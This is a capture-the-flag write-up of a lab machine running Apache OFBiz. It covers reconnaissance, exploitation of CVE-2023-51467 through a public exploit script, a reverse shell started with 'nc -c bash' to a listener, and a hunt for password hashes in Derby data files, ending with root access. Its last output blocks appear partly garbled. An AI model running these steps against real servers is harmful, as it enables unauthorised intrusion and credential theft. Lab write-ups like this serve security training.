

Erel Regev

## Table of Contents

Scanning.....	1
Exploitation – CVE-2023-51467 .....	4
Privilege Escalation .....	5

## Scanning

Let's start by scanning the given IP address:

```
(kali㉿kali)-[~/Desktop]
└─$ sudo nmap 10.10.11.252 -sC -sV -Pn
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-25 17:37 IST
Nmap scan report for 10.10.11.252
Host is up (0.14s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
|_ ssh-hostkey:
|_  3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
|_  256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_  256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp    open  http      nginx 1.18.0
|_ http-title: Did not follow redirect to https://bizness.htb/
|_ http-server-header: nginx/1.18.0
443/tcp    open  ssl/http  nginx 1.18.0
|_ ssl-date: TLS randomness does not represent time
|_ http-title: Did not follow redirect to https://bizness.htb/
|_ tls-nextprotoneg:
|_  http/1.1
|_ http-server-header: nginx/1.18.0
|_ ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=UK
|_ Not valid before: 2023-12-14T20:03:40
|_ Not valid after: 2328-11-10T20:03:40
|_ tls-alpn:
|_  http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

3 ports were found open, as well a domain – bizness.htb

I added it to the /etc/hosts file.

Let's access the website:



Erel Regev

No interesting functionality can be found on the website. Seems that we are working on the https port, note the URL line.

Since there is nothing to test at the moment, and while paying attention to the scanning results, I decided to use ffuf in order to try and find some interesting pages/directories: I limited the process to status code 200 only:

```
(kali@kali)~[~/Desktop]
$ ffuf -u https://bizness.htb/FUZZ -w ./SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt --mc 200

v2.1.0-dev

:: Method      : GET
:: URL         : https://bizness.htb/FUZZ
:: Wordlist     : FUZZ: /home/kali/Desktop/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout     : 10
:: Threads     : 40
:: Matcher     : Response status: 200
```

Part of the results:

```
:: Method      : GET
:: URL         : https://bizness.htb/FUZZ
:: Wordlist     : FUZZ: /home/kali/Desktop/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout     : 10
:: Threads     : 40
:: Matcher     : Response status: 200

# directory-list-2.3-medium.txt [Status: 200, Size: 27200, Words: 9218, Lines: 523, Duration: 147ms]
# [Status: 200, Size: 27200, Words: 9218, Lines: 523, Duration: 150ms]
# Attribution-Share Alike 3.0 License. To view a copy of this [Status: 200, Size: 27200, Words: 9218, Lines: 523, Duration: 169ms]
# Copyright 2007 James Fisher [Status: 200, Size: 27200, Words: 9218, Lines: 523, Duration: 161ms]
# This work is licensed under the Creative Commons [Status: 200, Size: 27200, Words: 9218, Lines: 523, Duration: 172ms]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/ [Status: 200, Size: 27200, Words: 9218, Lines: 523, Duration: 167ms]
# [Status: 200, Size: 27200, Words: 9218, Lines: 523, Duration: 169ms]
# [Status: 200, Size: 27200, Words: 9218, Lines: 523, Duration: 164ms]
# on at least 2 different hosts [Status: 200, Size: 27200, Words: 9218, Lines: 523, Duration: 167ms]
# [Status: 200, Size: 27200, Words: 9218, Lines: 523, Duration: 158ms]
# Suite 300, San Francisco, California, 94105, USA. [Status: 200, Size: 27200, Words: 9218, Lines: 523, Duration: 166ms]
# or send a letter to Creative Commons, 171 Second Street, [Status: 200, Size: 27200, Words: 9218, Lines: 523, Duration: 181ms]
# [Status: 200, Size: 27200, Words: 9218, Lines: 523, Duration: 191ms]
# Priority ordered case-sensitive list, where entries were found [Status: 200, Size: 27200, Words: 9218, Lines: 523, Duration: 189ms]
control [Status: 200, Size: 34633, Words: 10468, Lines: 492, Duration: 456ms]
[Status: 200, Size: 27200, Words: 9218, Lines: 523, Duration: 162ms]
```

The discovery process was long. I started to look for php and html pages within the found “Control” directory:

```
(kali@kali)~[~/Desktop]
$ ffuf -u https://bizness.htb/control/FUZZ -w ./SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -e .php,.html --mc 200

v2.1.0-dev

:: Method      : GET
:: URL         : https://bizness.htb/control/FUZZ
:: Wordlist     : FUZZ: /home/kali/Desktop/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
:: Extensions  : .php .html
:: Follow redirects : false
:: Calibration : false
:: Timeout     : 10
:: Threads     : 40
:: Matcher     : Response status: 200
```

Eventually, I found within the results a login page. Note the following screenshot where I used grep to find the login pattern that you will be able to see it:



Erel Regev

There is also a git repository that holds a script to test if the target machine is vulnerable:

[https://github.com/K3ysTr0K3R/CVE-2023-51467-EXPLOIT/blob/main/CVE-2023-51467.py?source=post\\_page-----b0045ddbc33a-----](https://github.com/K3ysTr0K3R/CVE-2023-51467-EXPLOIT/blob/main/CVE-2023-51467.py?source=post_page-----b0045ddbc33a-----)

Before moving on to the exploit code, I recommend reading the following to understand the flow better:

<https://www.vicarius.io/vsociety/posts/apache-ofbiz-authentication-bypass-vulnerability-cve-2023-49070-and-cve-2023-51467>

## Exploitation – CVE-2023-51467

The exploit.py script from the Github repository offers two main functionalities: a scanning feature to check if a particular OFBiz instance is vulnerable, and an exploitation feature that can be activated with a specified command. The scanning part sends a test request and looks for a specific response, while the exploitation part generates a specialized payload to potentially execute commands on the server.

### Usage

Run the script in scanner mode:

```
python3 exploit.py --url https://localhost:8443
```

Run command on the remote server:

```
python3 exploit.py --url https://localhost:8443 --cmd 'CMD'
```

I created a listener:



```
File Actions Edit View Help
(kali㉿kali)-[~]
$ nc -lvnp 7777
listening on [any] 7777 ...
```

Then executed the following command by the repository usage examples, this time, with my netcat command:

We got a shell!

Erel Regev

```

kali@kali: ~/Desktop/Machines/Bizness/Apache-OFBiz-Authentication-Bypass
$ python exploit.py --url https://bizness.htb --cmd 'nc -c bash 10.10.14.4 7777'
[+] Generating payload...
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] Payload generated successfully.
[+] Sending malicious serialized payload...
[+] The request has been successfully sent. Check the result of the command.

kali@kali: ~/Desktop/Machines/Bizness/Apache-OFBiz-Authentication-Bypass
$ nc -lvnp 7777
listening on [any] 7777 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.252] 33302
whoami
ofbiz

```

Navigate to the user directory in order to find the first flag:

```

cd /home/ofbiz
ls -l
total 4
-rw-r----- 1 root ofbiz-operator 33 Feb 25 10:34 user.txt
cat user.txt
c[REDACTED]4

```

## Privilege Escalation

Back to the directory where I got the first foot hold:

```

kali@kali: ~/Desktop/Machines/Bizness/Apache-OFBiz-Authentication-Bypass
cd /opt/ofbiz
ls -l
total 220
-rw-r--r-- 1 ofbiz ofbiz-operator 7136 Oct 13 12:04 APACHE2_HEADER
-rwxr-xr-x 14 ofbiz ofbiz-operator 4096 Dec 21 09:15 applications
-rwxr-xr-x 10 ofbiz ofbiz-operator 4096 Dec 21 09:15 build
-rw-r--r-- 1 ofbiz ofbiz-operator 48733 Oct 13 12:04 build.gradle
-rw-r--r-- 1 ofbiz ofbiz-operator 2492 Oct 13 12:04 common.gradle
-rwxr-xr-x 3 ofbiz ofbiz-operator 4096 Dec 21 09:15 config
-rwxr-xr-x 4 ofbiz ofbiz-operator 4096 Dec 21 09:15 docker
-rw-r--r-- 1 ofbiz ofbiz-operator 4980 Oct 13 12:04 Dockerfile
-rw-r--r-- 1 ofbiz ofbiz-operator 9432 Oct 13 12:04 DOCKER.md
-rwxr-xr-x 3 ofbiz ofbiz-operator 4096 Dec 21 09:15 docs
-rwxr-xr-x 19 ofbiz ofbiz-operator 4096 Dec 21 09:15 framework
-rwxr-xr-x 3 ofbiz ofbiz-operator 4096 Dec 21 09:15 gradle
-rw-r--r-- 1 ofbiz ofbiz-operator 1185 Oct 13 12:04 gradle.properties
-rwxr-xr-x 1 ofbiz ofbiz-operator 6134 Oct 13 12:04 gradlew
-rw-r--r-- 1 ofbiz ofbiz-operator 3185 Oct 13 12:04 gradlew.bat
-rwxr-xr-x 1 ofbiz ofbiz-operator 1246 Oct 13 12:04 init-gradle-wrapper.bat
-rw-r--r-- 1 ofbiz ofbiz-operator 2672 Oct 13 12:04 INSTALL
-rwxr-xr-x 2 ofbiz ofbiz-operator 4096 Dec 21 09:15 lib
-rw-r--r-- 1 ofbiz ofbiz-operator 13324 Oct 29 07:47 LICENSE
-rw-r--r-- 1 ofbiz ofbiz-operator 166 Oct 13 12:04 NOTICE
-rw-r--r-- 1 ofbiz ofbiz-operator 145 Oct 13 12:04 npm-shrinkwrap.json
-rw-r--r-- 1 ofbiz ofbiz-operator 1747 Oct 13 12:04 OPTIONAL_LIBRARIES
-rwxr-xr-x 24 ofbiz ofbiz-operator 4096 Dec 21 09:15 plugins
-rw-r--r-- 1 ofbiz ofbiz-operator 31656 Oct 13 12:04 README.adoc
-rwxr-xr-x 9 ofbiz ofbiz-operator 4096 Dec 21 09:15 runtime
-rw-r--r-- 1 ofbiz ofbiz-operator 893 Oct 13 12:04 SECURITY.md
-rw-r--r-- 1 ofbiz ofbiz-operator 1246 Oct 13 12:04 settings.gradle
-rwxr-xr-x 7 ofbiz ofbiz-operator 4096 Dec 21 09:15 themes
-rw-r--r-- 1 ofbiz ofbiz-operator 6 Oct 13 12:04 VERSION

```

The enumeration process on this machine was terribly long. After I realized the files are not necessary for my process, I moved on to check the directories on that path:

Erel Regev

```
ls -l | grep ^d
drwxr-xr-x 14 ofbiz ofbiz-operator 4096 Dec 21 09:15 applications
drwxr-xr-x 10 ofbiz ofbiz-operator 4096 Dec 21 09:15 build
drwxr-xr-x 3 ofbiz ofbiz-operator 4096 Dec 21 09:15 config
drwxr-xr-x 4 ofbiz ofbiz-operator 4096 Dec 21 09:15 docker
drwxr-xr-x 3 ofbiz ofbiz-operator 4096 Dec 21 09:15 docs
drwxr-xr-x 19 ofbiz ofbiz-operator 4096 Dec 21 09:15 framework
drwxr-xr-x 3 ofbiz ofbiz-operator 4096 Dec 21 09:15 gradle
drwxr-xr-x 2 ofbiz ofbiz-operator 4096 Dec 21 09:15 lib
drwxr-xr-x 24 ofbiz ofbiz-operator 4096 Dec 21 09:15 plugins
drwxr-xr-x 9 ofbiz ofbiz-operator 4096 Dec 21 09:15 runtime
drwxr-xr-x 7 ofbiz ofbiz-operator 4096 Dec 21 09:15 themes
```

Eventually I arrived to the framework directory:

```
cd framework
ls -l
total 72
drwxr-xr-x 8 ofbiz ofbiz-operator 4096 Dec 21 09:15 base
drwxr-xr-x 5 ofbiz ofbiz-operator 4096 Dec 21 09:15 catalina
drwxr-xr-x 13 ofbiz ofbiz-operator 4096 Dec 21 09:15 common
-rw-r--r-- 1 ofbiz ofbiz-operator 1651 Dec 16 08:12 component-load.xml
drwxr-xr-x 4 ofbiz ofbiz-operator 4096 Dec 21 09:15 datafile
drwxr-xr-x 2 ofbiz ofbiz-operator 4096 Dec 21 09:15 documents
drwxr-xr-x 11 ofbiz ofbiz-operator 4096 Dec 21 09:15 entity
drwxr-xr-x 8 ofbiz ofbiz-operator 4096 Dec 21 09:15 entityext
drwxr-xr-x 3 ofbiz ofbiz-operator 4096 Dec 21 09:15 images
drwxr-xr-x 8 ofbiz ofbiz-operator 4096 Dec 21 09:15 minilang
drwxr-xr-x 4 ofbiz ofbiz-operator 4096 Dec 21 09:15 resources
drwxr-xr-x 7 ofbiz ofbiz-operator 4096 Dec 21 09:15 security
drwxr-xr-x 10 ofbiz ofbiz-operator 4096 Dec 21 09:15 service
drwxr-xr-x 3 ofbiz ofbiz-operator 4096 Dec 21 09:15 start
drwxr-xr-x 5 ofbiz ofbiz-operator 4096 Dec 21 09:15 testtools
drwxr-xr-x 7 ofbiz ofbiz-operator 4096 Dec 21 09:15 webapp
drwxr-xr-x 11 ofbiz ofbiz-operator 4096 Dec 21 09:15 webtools
drwxr-xr-x 6 ofbiz ofbiz-operator 4096 Dec 21 09:15 widget
```

I did the same process here, and managed to get to the resources directory:

Thank god, less directories:

```
cd resources
ls -l
total 8
drwxr-xr-x 3 ofbiz ofbiz-operator 4096 Dec 21 09:15 fonts
drwxr-xr-x 2 ofbiz ofbiz-operator 4096 Dec 21 09:15 templates
```

I moved on to templates:



Erel Regev

```
cd templates
ls -l
total 104
-rw-r--r-- 1 ofbiz ofbiz-operator 1351 Oct 13 12:04 AdminNewTenantData-Derby.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1368 Oct 13 12:04 AdminNewTenantData-MySQL.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1378 Oct 13 12:04 AdminNewTenantData-Oracle.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1378 Oct 13 12:04 AdminNewTenantData-PostgreSQL.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1084 Oct 13 12:04 AdminUserLoginData.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1135 Oct 13 12:04 build.gradle
-rw-r--r-- 1 ofbiz ofbiz-operator 3279 Oct 13 12:04 CommonScreens.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 2119 Oct 13 12:04 controller.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 843 Oct 13 12:04 DemoData.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1400 Oct 13 12:04 document.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1333 Oct 13 12:04 entitymodel.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1028 Oct 13 12:04 Forms.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1236 Oct 13 12:04 HELP.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 806 Oct 13 12:04 index.jsp
-rw-r--r-- 1 ofbiz ofbiz-operator 1304 Oct 13 12:04 Menus.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 2892 Oct 13 12:04 ofbiz-component.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 187 Oct 13 12:04 README.txt
-rw-r--r-- 1 ofbiz ofbiz-operator 1582 Oct 13 12:04 Screens.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1704 Oct 13 12:04 SecurityGroupDemoData.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1666 Oct 13 12:04 SecurityPermissionSeedData.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1318 Oct 13 12:04 services.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1021 Oct 13 12:04 Tests.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 843 Oct 13 12:04 TypeData.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 2195 Oct 13 12:04 UILabels.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 5050 Oct 13 12:04 web.xml
```

```
cat AdminUserLoginData.xml
<?xml version="1.0" encoding="UTF-8"?>
<!--
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. See the NOTICE file
distributed with this work for additional information
regarding copyright ownership. The ASF licenses this file
to you under the Apache License, Version 2.0 (the
"License"); you may not use this file except in compliance
with the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing,
software distributed under the License is distributed on an
"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
KIND, either express or implied. See the License for the
specific language governing permissions and limitations
under the License.
-->
<entity-engine-xml>
  <UserLogin userId="@userLoginId@" currentPassword="{SHA} [REDACTED]" requirePasswordChange="Y"/>
  <UserLoginSecurityGroup groupId="SUPER" userLoginId="@userLoginId@" fromDate="2001-01-01 12:00:00.0"/>
</entity-engine-xml>
```

This is the hash for the password. While enumerating the machine I discovered another directory on /opt/ofbiz/runtime/data/derby/ofbiz/seg0 – where a SALT can be found!

- a - Treat binary files as text files.
- r - Recursively search subdirectories.
- i - Perform a case-insensitive search.
- n - Display line numbers in the file if there is a match.
- o - Only display the part of the line that matches the pattern.

```
grep -arin -o -w SHA
c54d0.dat:21:SHA
c10.dat:7:SHA
c6650.dat:2:SHA
```

```
<!-- String values updated user login -->
</map-Key>
<map-Value>
  <eval-UserLogin createdStamp="2023-12-16 03:40:23.643" createdTxStamp="2023-12-16 03:40:23.445" currentPassword="{SHA} [REDACTED]"
  enabled="Y" hasLoggedOut="N" lastUpdatedStamp="2023-12-16 03:44:54.272" lastUpdatedTxStamp="2023-12-16 03:44:54.213" requirePasswordChange="N" userL
  id="admin"/>
```

Crack the hash using automated tool or a python script.

After you crack the password, switch user to the user root and navigate to the user's directory:

Erel Regev

```
su
[REDACTED] Sending malicious customized payload
[REDACTED] successfully sent. Check the result of the command
whoami
rootkali@kali: ~/Desktop/Machines/Bizness/Apache-0FBiz-Authentication-Bizness
[REDACTED] $
```

```
cd /root request has been successfully sent. Check the result of the command
cat root.txt
d[REDACTED] ~/Desktop/Machines/Bizness/Apache-0FBiz-Authentication-Bizness
[REDACTED] $
```